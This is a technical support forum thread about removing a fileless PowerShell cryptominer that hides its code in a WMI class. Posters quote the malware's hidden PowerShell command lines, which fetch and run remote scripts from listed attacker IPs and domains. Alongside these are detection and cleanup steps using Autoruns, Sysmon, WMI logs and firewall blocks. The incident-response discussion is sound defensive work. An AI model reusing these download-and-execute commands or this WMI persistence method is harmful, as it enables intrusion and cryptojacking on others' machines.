powershell virus

Hello Chuck,

you've filtered for just the Powershell process, haven't you? As far as I can see it receives about 250 bytes over the HTTP connection to  ns320600.ip-37-187-154.eu but it does neither write to a file nor set a registry key/value. You say there are now no .cs files to be found in C:\Windows\Temp\?

As the process runs as SYSTEM it's likely started a boot up - Autoruns should help to find how it's started and what is involved, likely a file that lurks somewhere.

Christian

We have already experienced something similar to this previously with another malware on December. Opened a ticket and also a topic, but Sophos just discarded it was their issue (community.sophos.com/.../364303. It seems Sophos is still not aware of Fileless infection and this is something to worry about. 

I would recommend this article, but it is in Portuguese, maybe you can find something useful by translating it with Google: https://morphuslabs.com/wannamine-faz-v%C3%ADtimas-no-brasil-fb9b674fc908. You will see some URLs on port 14444 that, if you query DNS, will match the IPs you provided. You can also try removing the malware with KVRT (Kaspersky Virus Removal Tool).

You can also check Network Resource Monitor and see what IP exactly powershell is requesting and BLOCK those IPs being accessed on port 80 on your firewall. But, you will only be able to see 1 IP each time the process starts (I found a total of 6 iPs). This will prevent CPU to get to 100%, but this will not heal the machine completely. The powershell will still executes, but will not reach the destination and will not consome CPU, but a little bit of memory. Here are the IPs we have been dealing with and is already blocked on our firewall: 

94.130.65.216
94.130.65.208
94.130.65.214
94.130.65.207
94.130.65.210
94.130.65.215

We are experiencing the same here and as it was told, Sophos SOMETIMES is blocking the powershell execution, and IT IS NOT HEALING/CLEANING the malware... so there are a LOT OF EVENTS informing that it was blocked on most of the machines. Probably because this is a fileless infection and Sophos cannot find the issue. There is no standard behavior on the period it is running, sometimes it runs hourly, 30 to 30 minutes or 40 to 40 minutes... Haven`t find anything so far.

So the question is, how can we solve and heal the machines? Can any Sophos expert help us on this?

Hi,

Given the command line I see in the Process Monitor log:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "$mon = ([WmiClass] 'root\default:systemcore_Updater').Properties['mon'].Value;$funs = ([WmiClass] 'root\default:systemcore_Updater').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command  -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void', 0, '', '')"

In an admin Powershell command prompt what do the following 2 commands pipe out:

([WmiClass] 'root\default:systemcore_Updater').Properties['funs'].Value > C:\funsvalue.txt

([WmiClass] 'root\default:systemcore_Updater').Properties['mon'].Value > C:\monvalue.txt

Can you attach C:\funsvalue.txt abd C:\monvalue.txt?  I assume funsvalue.txt will be base64 encoded but that's fine I can decode that.

For example, I can create a new class under "root\default" called "systemcore_Updater" with the following 3 Powershell lines entered into a an administrative Powershell prompt:

$newClass = New-Object System.Management.ManagementClass("root\DEFAULT", [String]::Empty, $null);
$newClass["__CLASS"] = "systemcore_Updater";
$newClass.Put()

The output after hitting enter on the 3rd command will be:

Path : \\.\root\DEFAULT:systemcore_Updater
RelativePath : systemcore_Updater
Server : .
NamespacePath : root\DEFAULT
ClassName : systemcore_Updater
IsClass : True
IsInstance : False
IsSingleton : False

You could delete this same newly created class with the following PS command:

Remove-WmiObject -Class systemcore_Updater -Namespace root\DEFAULT

It maybe that all you need to do is run the above command to remove where the malware code is stored but it would be good to dump out the contents above first to see what you're dealing with.

It could be that something re-creates the WMI class, maybe re-query the classes under the root\Default namespace having removed it to check it doesn't return.  To do so the following will list all classes under the root\DEFAULT namespace which contain the characters sys.

Get-WmiObject -Namespace root\DEFAULT -list *sys*

Regards,
Jak

P.S. In the meantime, is it worth sending out a App Control policy to prevent Powershell.exe running at this point, at least while understanding what is going on and to a subset of affected clients?  Unless you know your users are running Powershell or you have software that replies on calling it.  This could stop it coming back whilst trying to remove the WMI classes it may have created to store the code.

Hey Jak,

I think your response was to Chuck and related to the logs he provided.

Anyway, I agree with you. Something creates and keeps recreating the WMIClass. On the malware we experienced in December, KVRT and Malwarebytes were able to detect it and cure, but not in this case. I could also see it on autoruns, but not this time.

The scripts I could find are a CMD launching a Powershell as follows. But still have no idea what launches it, I mean what creates or how to find the related WMI Object.

cmd /c powershell.exe -NoP -NonI -W Hidden "if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains('64')){IEX(New-Object Net.WebClient).DownloadString('118.184.48.95:8000/in6.ps1')}else{IEX(New-Object Net.WebClient).DownloadString('118.184.48.95:8000/in3.ps1')}"

powershell.exe  -NoP -NonI -W Hidden "if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains('64')){IEX(New-Object Net.WebClient).DownloadString('118.184.48.95:8000/in6.ps1')}else{IEX(New-Object Net.WebClient).DownloadString('118.184.48.95:8000/in3.ps1')}"

This scripts also uses some other IPs:
172.247.116.8:8000
107.179.67.243:8000
118.184.48.95:8000 (used in the script above)
104.148.42.153:8000

Thanks.

Hi,

You should be able to obtain the process ID creating the WMI class from the Windows Event log.  I would suggest mapping that back to a process name by using Sysmon.  This of course can be used to find the parent process id/image of the cmd.exe process you mention.

If you open the Windows Event Log, click "View" - "Show Analytic and Debug Logs".

Then navigate to the "WMI-Activity" log (/Applications and Services Logs/Microsoft/Windows/WMI-Activity), expand that to see the "Trace" log.  Right click and enable that.

Then Event ID 20, that should have the process ID that created the class.  Note: You can search the event log for the name of the class.

As I say, I would suggest installing Microsoft Sysmon (docs.microsoft.com/.../sysmon) on the computer to keep a record (in the event log) of processes being created.

sysmon.exe -i -l -n

Where n will also track network connections of a process.

Event ID 1 - "Process Creation" in the event log for Sysmon (/Applications and Services Logs/Microsoft/Windows/Sysmon/Operational) will give you the name.

Hopefully you can build up a picture using the above.

Regards,

Jak

Thanks, Jak.

I have just installed sysmon and enabled WMI Trave Logs, but haven`t found anything weird so far, but could not see the cmd/powershell scripts running also. I`ll be monitoring to see when cmd/powershell triggers so I can check those logs. I will update if I can provide more information.

Does Process Monitor log help in anything for your analysis? I forgot to mention but I could also see this, before cmd Process Start:

wmiprvse.exe - Process Create - cmd /c powershell.exe -NoP -NonI -W Hidden "if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains('64')){IEX(New-Object Net.WebClient).DownloadString('118.184.48.95:8000/in6.ps1')}else{IEX(New-Object Net.WebClient).DownloadString('118.184.48.95:8000/in3.ps1')}"

Anyway, is Sophos aware of it and working to find a solution? Because, if Sophos Endpoints are not able to heal and cure the machines, I will have to do it manually, one by one, once again... IF I find a way to cure them.

I haven`t blocked powershell execution yet, but blocking those IPs on my firewall seems to solve resource consumption so far. Still monitoring this.

Thanks

One thing you could try is putting PS in constrained language mode.  In a Powershell admin prompt, you can view the current mode with the command:

$ExecutionContext.SessionState.LanguageMode

E.g it will print:
FullLanguage

#set it to be constrained:
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

#check it was set:

$ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

Details - https://blogs.msdn.microsoft.com/powershell/2017/11/02/powershell-constrained-language-mode/ 

It seems you have something like this going on: https://community.spiceworks.com/topic/2080003-malicious-powershell-script-causing-100-cpu-load-solved?page=1#entry-7336947 

From the PML attached to this thread, there are a parent and child powershell.exe process.  The parent process to the the parent powershell.exe process has gone. This was PID 4880.
Looking at the parameters to the parent powershell process though, it's a base64 encoded PS script that pings the following addresses in order

195.22.127.93
update.windowsdefenderhost.club
info.windowsdefenderhost.club

..the first one that replies, is used to get a version file from:  http://ADDRESSTHATFIRSTRESPONDED:8000/ver.txt  That version is strored in WMI under root\default:systemcore_Updater.  Then it pulls another PS script from http://ADDRESSTHATFIRSTRESPINDED/info6.ps1 ... etc...     It uses WMI store data to save writing to disk.

To see the full script, you can grab the command line from the PML for the parent Powershell process and base64 decode it online to get the script in plain text.  Note: I had to re-save the PML as a PML locally and then save it again as XML to get at the arguments.  Not sure if I had a different version of ProcessMonitor because it kept crashing before.  I assume you may have a different script.  I uploaded the base64decoded PS script to VirusTotal - https://www.virustotal.com/en/file/eac97f92089f82dc6c36fb713df351cbe79a692445dada1c9ad5c9c3fa6ef9c8/analysis/1524954553/ you can see that it's very likely to be a Powershell miner.

I suppose another thought would be just to reset WMI. Presumably that would take out any persistence held in the WMI repository but if a malicious process is running, it could just re-create the class:
https://blogs.technet.microsoft.com/askperf/2009/04/13/wmi-rebuilding-the-wmi-repository/ 

Regards,
Jak

Hi Chuck,

I work in the malware support team in Sophos, i can see you have been getting a lot of useful advice already. I can't see any reference to using the Microsoft Autoruns tool though, this tool will provide you a list of everything that is set to load when you boot the machine, including scheduled tasks and entries in the WMI database, both of which are commonly used in these type of cryptojacking attacks at the moment.

If you could raise a support case with us and then send me the case number i can give you instructions for you to collect and provide me the logs. Once i have found what is causing it we can publish the information here for others, removing all data that relates to you of course. 

Why cant just Sophos simply do what other Antivirus are doing by default. Detect them.

After spending so much money on you, why do want us to sit with you and research again from the scratch?

Sadly no solution can provide 100% protection however many layers you add so dealing with malware manually to obtain samples and remove modifications will always be required unless you're happy to re-image on any infection but even then it's important to learn as much as possible about what happened to know if other devices are involved.  I think you have to take the stance that at some point you will be infected and the question is then what solutions/procedures do you have to speed up detection and determine what happened.

It may well be that a computer was infected before you install a solution in which case maybe only a few component are detected others may need to be removed by hand.  If the solution wasn't in place when the malware was run the solution didn't have the chance to record events and observe the behaviour to convict on.  This is another scenario but helps to understand the layers of a security solution.

Malware is a bit like someone breaking into your house, re-arranging all the furniture and hide some bedbugs.  Without a reference (malware sample might do) to where everything was it's hard to put everything back and maybe hard to find all components.  As some of the components of the malware might not be inherently malicious it maybe hard to classify some component in isolation.  For example, malware could drop a Powershell script to simply ping a server as part of a bigger solution.  The script in itself doesn't do anything malicious and it could be a one liner so hard to write specific detection for.  In this case, it might only be part of a cleanup rule if it was found in the presence of a primary marker, but if that is gone then the cleanup wouldn't work so you could get left with remnants of the infection which are benign but unexpected.

Clearly if you find yourself dealing with infection after infection despite running Sophos in line with best practice something is amiss, and it would be worth reviewing the attack vector to see why and how it bypassed the defence for that channel in.

Regards,
Jak